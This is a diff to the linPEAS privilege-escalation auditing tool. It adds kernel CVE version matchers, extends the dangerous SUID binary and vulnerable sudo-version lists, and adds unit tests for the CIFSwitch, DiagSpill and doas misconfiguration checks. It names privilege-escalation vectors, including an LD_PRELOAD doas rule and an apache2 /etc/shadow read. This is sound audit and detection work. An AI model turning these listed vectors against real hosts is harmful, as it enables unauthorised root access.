BadGarbage AF_UNIX garbage-collector race pkg=linux-kernel,ver>=6.6.93,ver<6.6.144 1 Fixed in stable 6.6.144; public exploit can provide local root and container escape +CVE-2026-53361 BadGarbage AF_UNIX garbage-collector race pkg=linux-kernel,ver>=6.9,ver<6.12.95 1 Fixed in stable 6.12.95; public exploit can provide local root and container escape +CVE-2026-53361 BadGarbage AF_UNIX garbage-collector race pkg=linux-kernel,ver>=6.13,ver<6.18.38 1 Fixed in stable 6.18.38; public exploit can provide local root and container escape +CVE-2026-53361 BadGarbage AF_UNIX garbage-collector race pkg=linux-kernel,ver>=6.19,ver<7.1 1 Fixed in mainline 7.1; public exploit can provide local root and container escape +EOF_DATA_24 +)" + +KERNEL_CVE_DATA_25="$(cat <<'EOF_DATA_25' +CVE-2026-43502 ZcopyReaper RDS zerocopy cleanup UAF pkg=linux-kernel,ver>=4.17,ver<5.10.258,x86_64,CONFIG_INET=y,CONFIG_AIO=y,CONFIG_RDS=[my],CONFIG_RDS_TCP=[my] 1 Fixed in stable 5.10.258; public exploit targets openSUSE 6.4 and requires RDS over TCP +CVE-2026-43502 ZcopyReaper RDS zerocopy cleanup UAF pkg=linux-kernel,ver>=5.11,ver<5.15.209,x86_64,CONFIG_INET=y,CONFIG_AIO=y,CONFIG_RDS=[my],CONFIG_RDS_TCP=[my] 1 Fixed in stable 5.15.209; public exploit targets openSUSE 6.4 and requires RDS over TCP +CVE-2026-43502 ZcopyReaper RDS zerocopy cleanup UAF pkg=linux-kernel,ver>=5.16,ver<6.1.175,x86_64,CONFIG_INET=y,CONFIG_AIO=y,CONFIG_RDS=[my],CONFIG_RDS_TCP=[my] 1 Fixed in stable 6.1.175; public exploit targets openSUSE 6.4 and requires RDS over TCP +CVE-2026-43502 ZcopyReaper RDS zerocopy cleanup UAF pkg=linux-kernel,ver>=6.2,ver<6.6.140,x86_64,CONFIG_INET=y,CONFIG_AIO=y,CONFIG_RDS=[my],CONFIG_RDS_TCP=[my] 1 Fixed in stable 6.6.140; public exploit targets openSUSE 6.4 and requires RDS over TCP +CVE-2026-43502 ZcopyReaper RDS zerocopy cleanup UAF pkg=linux-kernel,ver>=6.7,ver<6.12.88,x86_64,CONFIG_INET=y,CONFIG_AIO=y,CONFIG_RDS=[my],CONFIG_RDS_TCP=[my] 1 Fixed in stable 6.12.88; public exploit targets openSUSE 6.4 and requires RDS over TCP +CVE-2026-43502 ZcopyReaper RDS zerocopy cleanup UAF pkg=linux-kernel,ver>=6.13,ver<6.18.30,x86_64,CONFIG_INET=y,CONFIG_AIO=y,CONFIG_RDS=[my],CONFIG_RDS_TCP=[my] 1 Fixed in stable 6.18.30; public exploit targets openSUSE 6.4 and requires RDS over TCP +CVE-2026-43502 ZcopyReaper RDS zerocopy cleanup UAF pkg=linux-kernel,ver>=6.19,ver<7.0.7,x86_64,CONFIG_INET=y,CONFIG_AIO=y,CONFIG_RDS=[my],CONFIG_RDS_TCP=[my] 1 Fixed in stable 7.0.7 and mainline 7.1; public exploit targets openSUSE 6.4 and requires RDS over TCP +CVE-2026-23274 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-31659 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-31678 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-43042 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-43074 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-43501 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-52912 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-52923 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-52924 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-52929 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-52933 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-63834 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-64265 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from an official Linux kernel local privilege-escalation advisory; no public matcher added +CVE-2026-64560 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-68162 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-68376 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-72137 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-72255 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +EOF_DATA_25 +)" + +KERNEL_CVE_DATA_26="$(cat <<'EOF_DATA_26' +CVE-2026-53264 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public net/sched privilege-escalation exploit; dedicated LinPEAS check handles prerequisites +CVE-2026-68121 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public PPPoE privilege-escalation exploit; no stable matcher added +CVE-2026-74469 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public SCTP diagnostics privilege-escalation exploit; dedicated LinPEAS check handles prerequisites +CVE-2026-74480 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-74581 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-74597 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-80530 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public XFS privilege-escalation exploit; dedicated LinPEAS check handles filesystem prerequisites +CVE-2026-80714 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public kernel privilege-escalation exploit; no stable matcher added +CVE-2026-80844 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public AH6/XFRM privilege-escalation exploit; no stable matcher added +CVE-2026-80977 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token in a public Open vSwitch page-cache privilege-escalation chain; dedicated LinPEAS check handles prerequisites +CVE-2026-81000 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token with a public TUN/TAP privilege-escalation exploit; no stable matcher added +CVE-2026-89487 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token in a public Open vSwitch page-cache privilege-escalation chain; dedicated LinPEAS check handles prerequisites +CVE-2026-89775 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token for a KVM/arm64 guest-to-host escape and local privilege escalation; no stable matcher added +CVE-2026-90049 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token in a public Open vSwitch page-cache privilege-escalation chain; dedicated LinPEAS check handles prerequisites +EOF_DATA_26 +)" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/sidB.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/sidB.sh index aebfabc1..6d9c0d1b 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/sidB.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/sidB.sh @@ -1,7 +1,7 @@ # Title: Variables - sidB # ID: sidB # Author: Carlos Polop -# Last Update: 22-08-2023 +# Last Update: 05-09-2026 # Description: Dangerous sid binaries # License: GNU GPL # Version: 1.0 @@ -18,6 +18,7 @@ sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ /at$%RTru64_UNIX_4.0g\(CVE-2002-1614\)\ /abrt-action-install-debuginfo-to-abrt-cache$%CENTOS 7.1/Fedora22\ /chfn$%SuSE_9.3/10\ + /check_icmp$%Monitoring_Plugins<3.0.1_if_setuid-root\(07-2026\)\ /chkey$%Solaris_2.5.1\ /chkperm$%Solaris_7.0_\ /chpass$%2Vulns:OpenBSD_6.1_to_OpenBSD 6.6\(CVE-2019-19726\)--OpenBSD_2.7_i386/OpenBSD_2.6_i386/OpenBSD_2.5_1999/08/06/OpenBSD_2.5_1998/05/28/FreeBSD_4.0-RELEASE/FreeBSD_3.5-RELEASE/FreeBSD_3.4-RELEASE/NetBSD_1.4.2\ @@ -37,7 +38,7 @@ sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ /lpc$%S.u.S.E_Linux_5.2\ /lpr$%BSD/OS2.1/FreeBSD2.1.5/NeXTstep4.x/IRIX6.4/SunOS4.1.3/4.1.4\(09-1996\)\ /mail.local$%NetBSD_7.0-7.0.1__6.1-6.1.5__6.0-6.0.6\ - /mount$%Apple_Mac_OSX\(Lion\)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8\ + /mount$%Apple_Mac_OSX\(Lion\)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8/util-linux_mount<=2.41.3\(CVE-2026-27456\)/util-linux_mount>=2.39_before_2.41.5_or_2.42.2\(CVE-2026-53612\)/util-linux_mount>=2.39.1_before_2.41.5_or_2.42.2\(CVE-2026-53614\)/util-linux_mount_2.39_to_2.41.5_or_2.42_to_2.42.2\(CVE-2026-76642\)/util-linux_mount_2.42.x_before_2.42.3\(CVE-2026-78409\)/util-linux_mount<=2.42.2\(CVE-2026-78410\)\ /movemail$%Emacs\(08-1986\)\ /mrinfo$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\ /mtrace$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\ @@ -69,4 +70,4 @@ sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ /xlock$%BSD/OS_2.1/DG/UX_7.0/Debian_1.3/HP-UX_10.34/IBM_AIX_4.2/SGI_IRIX_6.4/Solaris_2.5.1\(04-1997\)\ /xscreensaver%Solaris_11.x\(CVE-2019-3010\)\ /xorg$%Xorg_1.19_to_1.20.x\(CVE_2018-14665\)/xorg-x11-server<=1.20.3/AIX_7.1_\(6.x_to_7.x_should_be_vulnerable\)_X11.base.rte<7.1.5.32_and_\ - /xterm$%Solaris_5.5.1_X11R6.3\(05-1997\)/Debian_xterm_version_222-1etch2\(01-2009\)" \ No newline at end of file + /xterm$%Solaris_5.5.1_X11R6.3\(05-1997\)/Debian_xterm_version_222-1etch2\(01-2009\)" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/sudovB.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/sudovB.sh index e73efa8b..d07ae404 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/sudovB.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/sudovB.sh @@ -1,7 +1,7 @@ # Title: Variables - sudovB # ID: sudovB # Author: Carlos Polop -# Last Update: 26-02-2026 +# Last Update: 03-08-2026 # Description: Sudo version bad regex # License: GNU GPL # Version: 1.0 @@ -13,4 +13,4 @@ # Small linpeas: 1 -sudovB="[01].[012345678].[0-9]+|1.9.[01234][^0-9]|1.9.[01234]$|1.9.5p1|1\.9\.[6-9]|1\.9\.1[0-6]|1\.9\.17([^p]|$)" +sudovB="[01].[012345678].[0-9]+|1.9.[01234][^0-9]|1.9.[01234]$|1.9.5p1|1\.9\.[6-9]|1\.9\.1[0-6]|1\.9\.17($|[^0-9p]|p[12]([^0-9]|$))" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/src/linpeasBuilder.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/src/linpeasBuilder.py index 7d289e82..9c05c4cf 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/src/linpeasBuilder.py +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/src/linpeasBuilder.py @@ -371,6 +371,8 @@ def __get_gtfobins_lists(self) -> tuple: sudoVB = [] suidVB = [] capsVB = [] + # sudoers aliases and sudo -l may list several commands on one line. + sudo_command_boundary = "([[:space:]]*[,]|$)" for b in bins: try: @@ -382,9 +384,10 @@ def __get_gtfobins_lists(self) -> tuple: rb = requests.get(f"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}", timeout=5) if "sudo:" in rb.text: if len(b) <= 3: - sudoVB.append("[^a-zA-Z0-9]"+b+"$") # Less false possitives applied to small names + # Reduce false positives for short names. + sudoVB.append("[^a-zA-Z0-9]" + b + sudo_command_boundary) else: - sudoVB.append(b+"$") + sudoVB.append(b + sudo_command_boundary) if "suid:" in rb.text: suidVB.append("/"+b+"$") if "capabilities:" in rb.text: diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/src/yamlGlobals.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/src/yamlGlobals.py index 9f89eb34..28258a68 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/src/yamlGlobals.py +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/src/yamlGlobals.py @@ -5,7 +5,9 @@ script_folder = Path(os.path.dirname(os.path.abspath(__file__))) target_file = script_folder / '..' / '..' / '..' / 'build_lists' / 'download_regexes.py' -os.system(target_file) +regexes_file = script_folder / '..' / '..' / '..' / 'build_lists' / 'regexes.yaml' +if not regexes_file.exists(): + os.system(target_file) CURRENT_DIR = os.path.dirname(os.path.realpath(__file__)) @@ -118,4 +120,3 @@ SUDOVB2_MARKUP = YAML_LOADED["sudoVB2_markup"] CAP_SETUID_MARKUP = YAML_LOADED["cap_setuid_markup"] CAP_SETGID_MARKUP = YAML_LOADED["cap_setgid_markup"] - diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/images/linpeas.png b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/images/linpeas.png old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/images/network.png b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/images/network.png old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/images/peass.png b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/images/peass.png old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_cifswitch.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_cifswitch.py new file mode 100644 index 00000000..516c0ad5 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_cifswitch.py @@ -0,0 +1,163 @@ +import os +import shlex +import subprocess +import tempfile +import unittest +from pathlib import Path + + +class CIFSwitchCVE202646243Tests(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.repo_root = Path(__file__).resolve().parents[2] + cls.function_file = ( + cls.repo_root + / "linPEAS" + / "builder" + / "linpeas_parts" + / "functions" + / "checkCIFSwitchCVE202646243.sh" + ) + + def _make_root(self, base, kernel="6.12.91", patch_marker=False, active_rule=True): + root = base / "root" + (root / "sys" / "module" / "cifs").mkdir(parents=True) + (root / "proc" / "sys" / "kernel").mkdir(parents=True) + (root / "proc" / "sys" / "kernel" / "osrelease").write_text( + f"{kernel}\n", encoding="utf-8" + ) + kallsyms = "0000000000000000 t unrelated_symbol\n" + if patch_marker: + kallsyms += "0000000000000000 t cifs_spnego_key_vet_description\n" + (root / "proc" / "kallsyms").write_text(kallsyms, encoding="utf-8") + + (root / "etc" / "request-key.d").mkdir(parents=True) + prefix = "" if active_rule else "# " + (root / "etc" / "request-key.d" / "cifs.conf").write_text( + f"{prefix}create cifs.spnego * * /usr/sbin/cifs.upcall %k\n", + encoding="utf-8", + ) + + helper = root / "usr" / "sbin" / "cifs.upcall" + helper.parent.mkdir(parents=True) + helper.write_text('#!/bin/sh\ntouch "$EXECUTED_MARKER"\n', encoding="utf-8") + helper.chmod(0o755) + request_key = root / "sbin" / "request-key" + request_key.parent.mkdir(parents=True) + request_key.write_text('#!/bin/sh\ntouch "$EXECUTED_MARKER"\n', encoding="utf-8") + request_key.chmod(0o755) + return root + + def _run_check(self, root): + marker = root.parent / "executed" + env = os.environ.copy() + env["EXECUTED_MARKER"] = str(marker) + body = "\n".join( + [ + f"ROOT_FOLDER={shlex.quote(str(root))}", + "E=E", + "SED_RED_YELLOW='&'", + "SED_LIGHT_CYAN='&'", + 'print_3title() { echo "TITLE: $1"; }', + "print_info() { :; }", + f". {shlex.quote(str(self.function_file))}", + "checkCIFSwitchCVE202646243", + ] + ) + result = subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + env=env, + capture_output=True, + text=True, + check=False, + ) + return result, marker + + def test_complete_vulnerable_chain_is_reported_without_executing_helper(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir)) + result, marker = self._run_check(root) + self.assertFalse(marker.exists(), "cifs.upcall must never be executed") + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("TITLE: CIFSwitch attack chain (CVE-2026-46243)", result.stdout) + self.assertIn("Loaded CIFS module + active cifs.spnego rule", result.stdout) + + def test_backported_patch_marker_suppresses_finding(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir), patch_marker=True) + result, _ = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + def test_fixed_upstream_stable_version_suppresses_finding(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir), kernel="6.12.92") + result, _ = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + def test_upstream_fixed_version_boundaries(self): + cases = { + "2.6.23": True, + "2.6.24": False, + "5.10.257": False, + "5.10.258": True, + "5.15.208": False, + "5.15.209": True, + "6.1.174": False, + "6.1.175": True, + "6.6.141": False, + "6.6.142": True, + "6.12.91": False, + "6.12.92": True, + "6.18.33": False, + "6.18.34": True, + "7.0.10": False, + "7.0.11": True, + "7.1.0": True, + } + checks = [ + f"cs46243_kernel_is_fixed {shlex.quote(version)} && " + f"echo {version}=yes || echo {version}=no" + for version in cases + ] + body = "\n".join( + [f". {shlex.quote(str(self.function_file))}"] + checks + ) + result = subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + capture_output=True, + text=True, + check=False, + ) + + self.assertEqual(result.returncode, 0, result.stderr) + for version, fixed in cases.items(): + expected = "yes" if fixed else "no" + self.assertIn(f"{version}={expected}", result.stdout) + + def test_inactive_upcall_rule_suppresses_finding(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir), active_rule=False) + result, _ = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + def test_unloaded_cifs_module_suppresses_finding(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir)) + (root / "sys" / "module" / "cifs").rmdir() + result, _ = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_diagspill.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_diagspill.py new file mode 100644 index 00000000..e67b7bcd --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_diagspill.py @@ -0,0 +1,209 @@ +import shlex +import subprocess +import tempfile +import unittest +from pathlib import Path + + +class DiagSpillCVE202674469Tests(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.repo_root = Path(__file__).resolve().parents[2] + cls.function_file = ( + cls.repo_root + / "linPEAS" + / "builder" + / "linpeas_parts" + / "functions" + / "checkDiagSpillCVE202674469.sh" + ) + + def _make_root( + self, + base, + kernel="6.12.102", + loaded=("sctp", "sctp_diag"), + config="", + module_deps="", + modules_disabled="0", + modprobe_rule="", + ): + root = base / "root" + (root / "proc" / "sys" / "kernel").mkdir(parents=True) + (root / "proc" / "sys" / "kernel" / "osrelease").write_text( + f"{kernel}\n", encoding="utf-8" + ) + (root / "proc" / "sys" / "kernel" / "modules_disabled").write_text( + f"{modules_disabled}\n", encoding="utf-8" + ) + for module in loaded: + (root / "sys" / "module" / module).mkdir(parents=True) + + if config: + (root / "boot").mkdir(parents=True) + (root / "boot" / f"config-{kernel}").write_text( + config, encoding="utf-8" + ) + if module_deps: + module_dir = root / "lib" / "modules" / kernel + module_dir.mkdir(parents=True) + (module_dir / "modules.dep").write_text(module_deps, encoding="utf-8") + if modprobe_rule: + (root / "etc" / "modprobe.d").mkdir(parents=True) + (root / "etc" / "modprobe.d" / "disable-sctp.conf").write_text( + modprobe_rule, encoding="utf-8" + ) + return root + + def _run_check(self, root): + body = "\n".join( + [ + f"ROOT_FOLDER={shlex.quote(str(root))}", + "E=E", + "SED_RED_YELLOW='&'", + "SED_LIGHT_CYAN='&'", + 'print_3title() { echo "TITLE: $1"; }', + "print_info() { :; }", + f". {shlex.quote(str(self.function_file))}", + "checkDiagSpillCVE202674469", + ] + ) + return subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + capture_output=True, + text=True, + check=False, + ) + + def test_vulnerable_kernel_with_loaded_chain_is_reported(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir)) + result = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn( + "TITLE: DiagSpill SCTP kernel exposure (CVE-2026-74469)", + result.stdout, + ) + self.assertIn("sctp: loaded; sctp_diag: loaded", result.stdout) + self.assertIn("needs no capability or unprivileged user namespace", result.stdout) + + def test_fixed_kernel_suppresses_finding(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir), kernel="6.12.103") + result = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + def test_missing_diagnostic_module_suppresses_finding(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir), loaded=("sctp",)) + result = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + def test_installed_modular_chain_is_reported(self): + deps = ( + "kernel/net/sctp/sctp.ko.xz:\n" + "kernel/net/sctp/sctp_diag.ko.xz: kernel/net/sctp/sctp.ko.xz\n" + ) + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir), loaded=(), module_deps=deps) + result = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("sctp: module; sctp_diag: module", result.stdout) + + def test_hard_disabled_module_suppresses_modular_finding(self): + deps = ( + "kernel/net/sctp/sctp.ko:\n" + "kernel/net/sctp/sctp_diag.ko: kernel/net/sctp/sctp.ko\n" + ) + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root( + Path(tmpdir), + loaded=(), + module_deps=deps, + modprobe_rule="install sctp_diag /bin/false\n", + ) + result = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + def test_disabled_module_loading_suppresses_modular_finding(self): + deps = ( + "kernel/net/sctp/sctp.ko.zst:\n" + "kernel/net/sctp/sctp_diag.ko.zst: kernel/net/sctp/sctp.ko.zst\n" + ) + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root( + Path(tmpdir), + loaded=(), + module_deps=deps, + modules_disabled="1", + ) + result = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual("", result.stdout) + + def test_built_in_chain_is_reported(self): + config = "CONFIG_IP_SCTP=y\nCONFIG_INET_SCTP_DIAG=y\n" + with tempfile.TemporaryDirectory() as tmpdir: + root = self._make_root(Path(tmpdir), loaded=(), config=config) + result = self._run_check(root) + + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("sctp: built-in; sctp_diag: built-in", result.stdout) + + def test_upstream_fixed_version_boundaries(self): + cases = { + "4.6.9": False, + "4.7": True, + "4.7.0": True, + "5.10.264": True, + "5.10.265": False, + "5.15.215": True, + "5.15.216": False, + "6.1.182": True, + "6.1.183": False, + "6.6.150": True, + "6.6.151": False, + "6.12.102": True, + "6.12.103": False, + "6.18.43": True, + "6.18.44": False, + "7.1.7": True, + "7.1.8": False, + "7.2.0-rc5": True, + "7.2.0-rc6": False, + "7.2.0": False, + } + checks = [ + f"ds74469_kernel_is_affected {shlex.quote(version)} && " + f"echo {version}=yes || echo {version}=no" + for version in cases + ] + body = "\n".join( + [f". {shlex.quote(str(self.function_file))}"] + checks + ) + result = subprocess.run( + ["sh", "-c", body], + cwd=str(self.repo_root), + capture_output=True, + text=True, + check=False, + ) + + self.assertEqual(result.returncode, 0, result.stderr) + for version, affected in cases.items(): + expected = "yes" if affected else "no" + self.assertIn(f"{version}={expected}", result.stdout) + + +if __name__ == "__main__": + unittest.main() diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_doas.py b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_doas.py new file mode 100644 index 00000000..52388583 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/tests/test_doas.py @@ -0,0 +1,261 @@ +import shlex +import subprocess +import tempfile +import unittest +from pathlib import Path + + +class DoasCheckTests(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.repo_root = Path(__file__).resolve().parents[2] + cls.function_file = ( + cls.repo_root + / "linPEAS" + / "builder" + / "linpeas_parts" + / "functions" + / "checkDoas.sh" + ) + cls.module_file = ( + cls.repo_root + / "linPEAS" + / "builder" + / "linpeas_parts" + / "6_users_information" + / "9_Doas.sh" + ) + + def _run_shell(self, body, env=None): + script = f". {shlex.quote(str(self.function_file))}\n{body}" + return subprocess.run( + ["sh", "-c", script], + cwd=str(self.repo_root), + env=env, + capture_output=True, + text=True, + check=False, + ) + + def test_version_parsing_and_comparison(self): + result = self._run_shell( + """ +printf 'parsed=%s\n' "$(doas_extract_upstream_version '1:6.8.2-1ubuntu1')" +doas_version_lt 6.8 6.8.1 && echo lt=yes +doas_version_ge 6.8.1 6.8.1 && echo ge=yes +doas_version_le 6.8.2 6.8.2 && echo le=yes +! doas_version_lt 6.9 6.8.1 && echo newer=yes +""" + ) + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("parsed=6.8.2", result.stdout) + self.assertIn("lt=yes", result.stdout) + self.assertIn("ge=yes", result.stdout) + self.assertIn("le=yes", result.stdout) + self.assertIn("newer=yes", result.stdout) + + def test_soccer_rule_matches_current_user_and_dstat(self): + result = self._run_shell( + """ +doas_current_user=player +doas_current_uid=1000 +doas_current_groups='player users' +doas_current_gids='1000 100' +sudoVB1='dstat$' +sudoVB2='' +rule='permit nopass player as root cmd /usr/bin/dstat' +printf 'identity=%s\n' "$(doas_rule_identity "$rule")" +printf 'command=%s\n' "$(doas_rule_command "$rule")" +doas_rule_applies_to_current_user "$rule" && echo applies=yes +doas_rule_targets_root "$rule" && echo root=yes +doas_rule_has_option "$rule" nopass && echo nopass=yes +doas_command_is_dangerous "$(doas_rule_command "$rule")" && echo dangerous=yes +""" + ) + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("identity=player", result.stdout) + self.assertIn("command=/usr/bin/dstat", result.stdout) + self.assertIn("applies=yes", result.stdout) + self.assertIn("root=yes", result.stdout) + self.assertIn("nopass=yes", result.stdout) + self.assertIn("dangerous=yes", result.stdout) + + def test_group_rule_and_setenv_options_are_parsed(self): + result = self._run_shell( + """ +doas_current_user=alice +doas_current_uid=1001 +doas_current_groups='alice wheel' +doas_current_gids='1001 10' +rule='permit setenv { PATH=/tmp LD_PRELOAD } nopass :wheel as root cmd /usr/bin/env' +printf 'identity=%s\n' "$(doas_rule_identity "$rule")" +doas_rule_applies_to_current_user "$rule" && echo applies=yes +doas_rule_has_option "$rule" setenv && echo setenv=yes +doas_rule_has_dangerous_environment "$rule" && echo environment=dangerous +""" + ) + self.assertEqual(result.returncode, 0, result.stderr) + self.assertIn("identity=:wheel", result.stdout) + self.assertIn("applies=yes", result.stdout) + self.assertIn("setenv=yes", result.stdout) + self.assertIn("environment=dangerous", result.stdout) + + def test_rule_reader_ignores_comments_but_preserves_quoted_hashes(self): + with tempfile.TemporaryDirectory() as tmpdir: + config = Path(tmpdir) / "doas.conf" + config.write_text( + "# ignored\n" + "permit nopass player as root cmd /usr/bin/dstat # Soccer\n" + 'permit player cmd /usr/bin/printf args "#kept"\n' + "deny :blocked\n", + encoding="utf-8", + ) + result = self._run_shell( + f"doas_read_rules {shlex.quote(str(config))}" + ) + + 